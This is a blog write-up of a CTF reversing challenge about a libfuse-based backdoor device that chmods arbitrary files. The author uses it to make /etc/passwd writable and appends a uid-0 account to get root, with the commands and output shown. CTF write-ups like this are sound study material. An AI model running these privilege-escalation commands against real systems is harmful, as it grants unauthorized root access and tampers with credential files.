Reversing libfuse malware

Aneesh Dogra
Aneesh Dogra’s Blog
3 min readMar 10, 2021

--

Recent zer0pts CTF 2021 had a reversing challenge: infected in the reversing, warmup category. [96 pts]

The backdoor is installed on this machine: nc others.ctf.zer0pts.com 11011 or nc any.ctf.zer0pts.com 11011

How can I use it to get the flag in /root directory?

author:ptr-yudai

infected_bf473725549e7b89f972756fef2936aa.tar.gz

Let's try to load the program in IDA and see what is the backdoor all about. Main just calls register_backdoor which registers a libfuse driver on /dev/backdoor.

cuse_lowlevel_main

It passes a cuse_lowlevel_ops struct named devops. Let's investigate this structure more to find open, read, write functions.

devops

We can see it has pointers to defined functions: backdoor_open, backdoor_write. Backdoor open doesn’t do anything special, lets look at backdoor_write:

backdoor_write

We can see it's looking for a message of the pattern:

b4ckd00r:<file>:<perms>

If the pattern matches it would call “chmod” on the file and set it with the permissions we provide. At this point, I looked at some libfuse examples and there is one that implements cuse_lowlevel_main: https://github.com/libfuse/libfuse/blob/master/example/cuse.c.

We can compile this example and test it out to see what kind of functions triggers the write call, I have made changes to cuse.c program and added print calls at the write call, main, other functions:

cuse.c logging write call
root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example# ./cuse -f — name=testfuse
Hey main!
Flags: 1

Let’s try to use the cuse_client to communicate with the char device at /dev/testfuse.

# echo "hello" | ./cuse_client /dev/testfuse w 5
Writing 5 bytes
5
transferred 5 bytes (0 -> 5)
root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example#

We can see the logging output in the tty that's running ./cuse.

# ./cuse -f — name=testfuse
Hey main!
Flags: 1
Hey open!
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)

The cuse_client is communicating with the libfuse driver using IOCTL calls:

cuse_lowlevel_ops

At this point, I got stuck for a while and didn’t think we could just echo into the character driver that implements write. Let's try that:

# echo “writing through echo” > /dev/testfuse

We see that open and write calls are triggered:

# ./cuse -f — name=testfuse
Hey main!
Flags: 1
Hey open!
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
Hey open!
Hey writing, writing through echo

Perfect! Let's try to send this payload to the backdoor and see if it actually can chmod the file with our permissions. “b4ckd00r:/etc/passwd:511":

/ $ echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
/ $ ls -al /etc/passwd
ls -al /etc/passwd
-rwxrwxrwx 1 root root 340 Mar 4 03:56 /etc/passwd
/ $

The /etc/passwd file is now writable. (511 is just 0777 in decimal). Lets add a new root user to access /root:

/ $ echo "lionaneesh:aajextnUQwGKg:0:0:toor:/root:/bin/sh" >> /etc/passwd
/ # su lionaneesh
Password: igotroot
/ # cat root/flag*
zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}

Thanks for this amazing challenge ptr-yudai. Really enjoyed learning about libfuse based malware.

--

--

Always been a tinker! Started coding in 2008 (when I was in 8th grade). Fell in love with x86 assembly, C and Linux: Manipulation of memory and getting RCE